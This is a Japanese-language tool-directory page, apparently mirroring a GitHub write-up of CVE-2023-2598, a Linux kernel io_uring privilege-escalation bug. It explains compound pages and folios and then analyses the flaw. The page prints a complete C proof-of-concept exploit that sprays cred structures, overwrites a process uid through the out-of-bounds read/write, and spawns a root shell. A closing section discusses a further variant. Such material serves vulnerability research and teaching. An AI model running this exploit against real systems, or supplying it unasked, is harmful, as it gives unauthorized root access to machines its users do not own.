Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-2598 — CVE-2023-2598の技術解析および概念実証エクスプロイト。これは、io_uringのバッファ登録におけるLinuxカーネルの特権昇格脆弱性であり、Compound Pageとfolioの内部構造の詳細な説明を含む。 | Kitploit
ツール/GitHubGitHub/cainiao159357/cve-2023-2598
特権昇格脆弱性分析エクスプロイト論文と研究学習と教育バイナリエクスプロイト
GitHubcainiao159357/cve-2023-2598

CVE-2023-2598

CVE-2023-2598の技術解析および概念実証エクスプロイト。これは、io_uringのバッファ登録におけるLinuxカーネルの特権昇格脆弱性であり、Compound Pageとfolioの内部構造の詳細な説明を含む。

リポジトリを見る
2年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-2598 権限昇格

CVE-2023-2598を通じてLinuxのCompound Pageとfolioメカニズムを理解し、その後1dayのCVE-2023-6560を利用できるか検討する。

Compound Page (huge page)

メモリは増え続けているが、Linuxの基本ページ割り当て単位は4Kのままであり、不足が生じている。そのため、複合ページ(Compound Page)が導入された。複合ページとは、複数のページを1つの集合として扱い、2つ以上の物理的に連続したページを1つのユニットに結合するもので、多くの場面で1つの大きなページと見なすことができる。これらは主にhugetlbfsやTransparent Huge Pages(THP)サブシステムで巨大ページを作成するために使用されるが、他のシナリオでも出現する。複合ページは匿名メモリやカーネル内のバッファとして使用できるが、ページキャッシュには出現できない。ページキャッシュは単一ページのみを扱う。

複合ページの割り当ては、alloc_pages()を呼び出し、__GFP_COMPフラグとページフレーム数が1より大きい(つまりorderが1以上)を設定することで行う。これは複合ページの実装メカニズムによるものである。

注意:複合ページは必ず物理的に連続している

最初のページのflagはPG_headがマークされ、これが複合ページのヘッドページであることを示す。

それ以降のすべてのページには、mappingとcompound_headの2つの属性が設定され、compound_headを介してテールページかヘッドページかを判断する。詳細はcompound_head()関数を参照。

2番目のページには複合ページに関するより多くの情報が格納される。これが複合ページのorderが少なくとも1である理由である。

root@kitploit:~
static inline unsigned long _compound_head(const struct page *page)
{
        unsigned long head = READ_ONCE(page->compound_head);
 
        if (unlikely(head & 1))
                return head - 1;
        return (unsigned long)page;
}

このフィールドはフラグだけでなく、ヘッドページへのポインタも含んでいる。

したがって、pageを取得したときに、それが複合ページかどうか、複合ページであればヘッドページかテールページかを容易に判断できる。しかし、複合ページのサイズという重要な情報が欠けている。このサイズが分からないと、複合ページを解放するときにサイズを知る必要がある。これらの情報はすべて最初のテールページのlruフィールドに格納されている。複合ページのサイズ(order)をまずポインタ型にキャストし、lru.prevに格納し、デストラクタをlru.nextに格納する。

ヘッドページと複合ページのサイズが分かれば、この巨大ページを正しく解放できる。なぜなら複合ページはすべて物理的に連続しているからである。

構造は以下の図の通りである。

img

folio

folioはページのラッパーと見なすことができ、オーバーヘッドはない。folioは単一ページでも複合ページでもよい。

img

上図はpage構造体の模式図であり、64バイトでflags, lru, mapping, index, private, {ref_, map_}count, memcg_dataなどを管理する。pageが複合ページの場合、上記のflagsなどの情報はヘッドページにあり、テールページはcompound_{head, mapcount, order, nr, dtor}などの管理に再利用される。

root@kitploit:~
struct folio {
        /* private: don't document the anon union */
        union {
                struct {
        /* public: */
                        unsigned long flags;
                        struct list_head lru;
                        struct address_space *mapping;
                        pgoff_t index;
                        void *private;
                        atomic_t _mapcount;
                        atomic_t _refcount;
#ifdef CONFIG_MEMCG
                        unsigned long memcg_data;
#endif
        /* private: the union with struct page is transitional */
                };
                struct page page;
        };
};

folio構造体の定義では、flags, lruなどの情報はpageと完全に一致するため、pageとunionで共用できる。これにより、folio->page->flagsではなく、直接folio->flagsを使用できる。

root@kitploit:~
#define page_folio(p)           (_Generic((p),                          \
        const struct page *:    (const struct folio *)_compound_head(p), \
        struct page *:          (struct folio *)_compound_head(p)))

#define nth_page(page,n) ((page) + (n))
#define folio_page(folio, n)    nth_page(&(folio)->page, n)

最初にpage_folioを見ると混乱するかもしれないが、実質的には以下と同等である:

root@kitploit:~
switch (typeof(p)) {
  case const struct page *:
    return (const struct folio *)_compound_head(p);
  case struct page *:
    return (struct folio *)_compound_head(p)));
}

page_folioマクロから分かるように、folioは実質的に複合ページのヘッドページである。folioをpageに変換する場合、folio->pageでヘッドページを取得し、folio_page(folio, n)でテールページを取得できる。

ではfolioは何のためにあるのか? 主に開発効率とパフォーマンスのためである。folioがない場合、関数内部で現在のページがヘッドページかどうかを判断できず、_compound_headを呼び出す必要がある。実行パスが多い場合、パス上のすべての関数で毎回_compound_headを使用すると効率に影響する。しかし、関数がstruct folio *パラメータのみを受け取る場合、そのfolioはヘッドページを指すため、関数内部で_compound_headを再度呼び出す必要がなくなる。

したがって、主に以下の3つの役割がある:

  1. 冗長なcompound_head呼び出しを減らす。

  2. 開発者へのヒント:folioを見れば、それがヘッドページであると認識できる。

  3. 潜在的なテールページによるバグを修正する。

脆弱性原理

io_uringのio_uring_register_bufferには、以下のようなロジックがある。

image-20240830214419290

ユーザー空間から渡されたページが1より大きい場合、io_uringは渡されたbufferがfolioかどうかをチェックする。判断方法は、page_folio()を使用してそのpage[i]のヘッドページを取得し、page[i]のヘッドページがpage[0]と等しい場合、同じ複合ページテーブルに属すると見なす。

通常、この処理は問題ないが、特殊なケースが存在する。ユーザー空間でmmapを使用して同じ物理ページテーブルを連続した仮想アドレスにマッピングした場合、この条件も満たされ、最終的に以下のブランチに入る。

image-20240830225137539

この時、ユーザー空間は1つの物理ページのみを要求しているが、最終的なsizeは連続仮想アドレスのサイズとなり、実際に要求した物理アドレス領域よりも大きくなる可能性がある。その結果、範囲外の読み書きが発生する。

脆弱性の悪用

credをスプレーし、この範囲外読み書きインターフェースを使用してuidを書き換える。

ネット上のエクスプロイトと異なり、このエクスプロイトはuidを書き換えるため、アドレス依存性がなく、脆弱性が存在する環境であれば使用可能である。

root@kitploit:~
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <assert.h>

#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
#define PAGE_SIZE 0x1000
#define MAX_PAGES 100
#define CRED_DRAIN 100
#define CRED_SPRAY 600

#define check_ret(ret, buf) do { if((ret) < 0) { err_exit(buf); } } while(0)

int check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char *shell_args[] = { bin_sh_str, NULL };
char child_pipe_buf[1];
char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n"
                  "\033[34m[*] Execve root shell now...\033[0m\n";
struct timespec timer = {
    .tv_sec = 1145141919,
    .tv_nsec = 0,
};

void err_exit(char *buf){
    fprintf(stderr, "%s[-]%s : %s%s\n", COLOR_RED, buf, strerror(errno), COLOR_RESET);
    exit(-1);
}
void log(char *buf){
    fprintf(stdout,"%s[+]%s%s\n",COLOR_GREEN,buf,COLOR_RESET);
}
void cred_drain(){
    for(int i=0;i<CRED_DRAIN;i++){
        int ret=fork();
        if(!ret){
            read(check_root_pipe[0],child_pipe_buf,1);
            if(getuid()==0){
                write(1, root_str, 71);
                system("/bin/sh");
            }
            sleep(100000000);
        }
        check_ret(ret,"fork fail");
    }
}
void clear_buddy(){
    void * pages[MAX_PAGES];
    for(int i=0;i<MAX_PAGES;i++){
        pages[i]=mmap(0x60000000+i*0x200000UL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
        check_ret(pages[i],"mmap");
    }
    for(int i=0;i<MAX_PAGES;i++){
        *(char *)pages[i]='a';
    }
}
__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
    /* for syscall, it's clone(flags, stack, ...) */
    __asm__ volatile (
        " mov r15, rsi\n"   /* save the rsi*/
        " xor rsi, rsi\n"   /* set esp and useless args to NULL */
        " xor rdx, rdx\n"
        " xor r10, r10\n"
        " xor r8, r8\n"
        " xor r9, r9\n"
        " mov rax, 56\n"   /* __NR_clone */
        " syscall\n"
        " cmp rax, 0\n"
        " je child_fn\n"
        " ret\n"   /* parent */
        "child_fn:    \n"
        " jmp r15\n"   /* child */
    );
}


int waiting_for_root_fn(void *args)
{
    /* we're using the same stack for them, so we need to avoid cracking it.. */
    __asm__ volatile (
        "   lea rax, [check_root_pipe]\n"
        "   xor rdi, rdi\n"
        "   mov edi, dword ptr [rax]\n"
        "   mov rsi, child_pipe_buf\n"
        "   mov rdx, 1\n"
        "   xor rax, rax\n" /* read(check_root_pipe[0], child_pipe_buf, 1)*/
        "   syscall\n"
        "   mov rax, 102\n" /* getuid() */
        "   syscall\n"
        "   cmp rax, 0\n"
        "   jne failed\n"
        "   mov rdi, 1\n"
        "   lea rsi, [root_str]\n"
        "   mov rdx, 80\n"
        "   mov rax, 1\n"    /* write(1, root_str, 71) */
        "   syscall\n"
        "   lea rdi, [bin_sh_str]\n"
        "   lea rsi, [shell_args]\n"
        "   xor rdx, rdx\n"
        "   mov rax, 59\n"
        "   syscall\n"   /* execve("/bin/sh", args, NULL) */
        "failed: \n"
        "   lea rdi, [timer]\n"
        "   xor rsi, rsi\n"
        "   mov rax, 35\n"  /* nanosleep() */
        "   syscall\n"
    );
    return 0;
}


int main(){
    cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(sched_getcpu(), &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0) {
		perror("sched_setaffinity");
		exit(EXIT_FAILURE);
	}
    struct io_uring ring;
    struct io_uring_sqe *sqe;
    struct io_uring_cqe *cqe;
    int ret;
    int memfd;
    int rw_fd;
    struct iovec iovec;
    char *rw_buffer;
    uint64_t start_addr=0x800000000;
    int nr_pages=500;
    char buf[1000];
    //清空cred cache
    log("drain cred cache");
    pipe(check_root_pipe);
    cred_drain();
    //清空buddy system cache
    log("clear buddy system cache");
    clear_buddy();
    //初始化io_uring
    log("io_uring_setup");
    ret=io_uring_queue_init(8,&ring,0);
    check_ret(ret,"io_uring_setup fail");
    //准备缓冲区
    log("prepare buf to register");
    memfd=memfd_create("io_register_buf",MFD_CLOEXEC);
    check_ret(memfd,"memfd_create fail");
    rw_fd=memfd_create("read_write_file",MFD_CLOEXEC);
    check_ret(rw_fd,"memfd_create fail");
    check_ret(fallocate(memfd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
    check_ret(fallocate(rw_fd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
    for(int i=0;i<nr_pages;i++){
        check_ret(mmap(start_addr+i*0x1000,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED|MAP_FIXED,memfd,0),"mmap fail");
    }
    rw_buffer=mmap(NULL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED,rw_fd,0);
    check_ret(rw_buffer,"mmap fail");
    //注册缓冲区
    log("register buffer");
    iovec.iov_base=start_addr;
    iovec.iov_len=nr_pages*PAGE_SIZE;
    check_ret(io_uring_register_buffers(&ring,&iovec,1),"io_ring_register_buffer fail");
    //spray cred
    log("spray cred");
    for(int i=0;i<CRED_SPRAY;i++){
        check_ret(simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn),"clone fail");
    }
    //search cred page
    log("search crea page");
    int page_offset=0;
    for(int i=0;i<nr_pages;i++){
        sqe=io_uring_get_sqe(&ring);
        check_ret(sqe,"io_uring_get_sqe fail");
        io_uring_prep_write_fixed(sqe,rw_fd,start_addr+i*PAGE_SIZE,PAGE_SIZE,0,0);
        check_ret(io_uring_submit(&ring),"io_uring_submit fail");
        io_uring_wait_cqe(&ring, &cqe);
        io_uring_cqe_seen(&ring, cqe);
        int uid=((int *)(rw_buffer))[1];
        int gid=((int *)(rw_buffer))[2];
        if(uid==1000 && gid==1000){
            page_offset=i;
            break;
        }
    }
    if(page_offset==0){
        err_exit("not find cred page");
    }
    //edit cred's uid
    log("/edit cred's uid");
    *(size_t *)(rw_buffer)=0x2;
    sqe=io_uring_get_sqe(&ring);
    check_ret(sqe,"io_uring_get_sqe fail");
    io_uring_prep_read_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,8,0,0);
    check_ret(io_uring_submit(&ring),"io_uring_submit fail");
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);


    sqe=io_uring_get_sqe(&ring);
    check_ret(sqe,"io_uring_get_sqe fail");
    io_uring_prep_write_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,PAGE_SIZE,0,0);
    check_ret(io_uring_submit(&ring),"io_uring_submit fail");
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);
    //check privilege in child processes
    log("check privilege in child processes");
    write(check_root_pipe[1],buf, CRED_SPRAY+CRED_DRAIN);
    sleep(100000000);
}

考察

次のコードに注目する。

image-20240830230232004

もし実際に複合ページを渡して登録した場合、io_uringは後続のページに対して参照カウントを増加させない。ユーザー空間がこの複合ページの途中でマッピングを解除すると、対応するメモリ領域は参照カウントが1しかないため完全に解放されるが、io_uringに記録されたsizeは変わらない。そのため、io_uringを通じて範囲外の読み書きが可能になる。残念ながら、私のテストではLinuxは複合ページの途中からのマッピング解除を許可していない。しかし、これは合理的であり、許可されるとページ管理が非常に困難になる。

ツールをダウンロード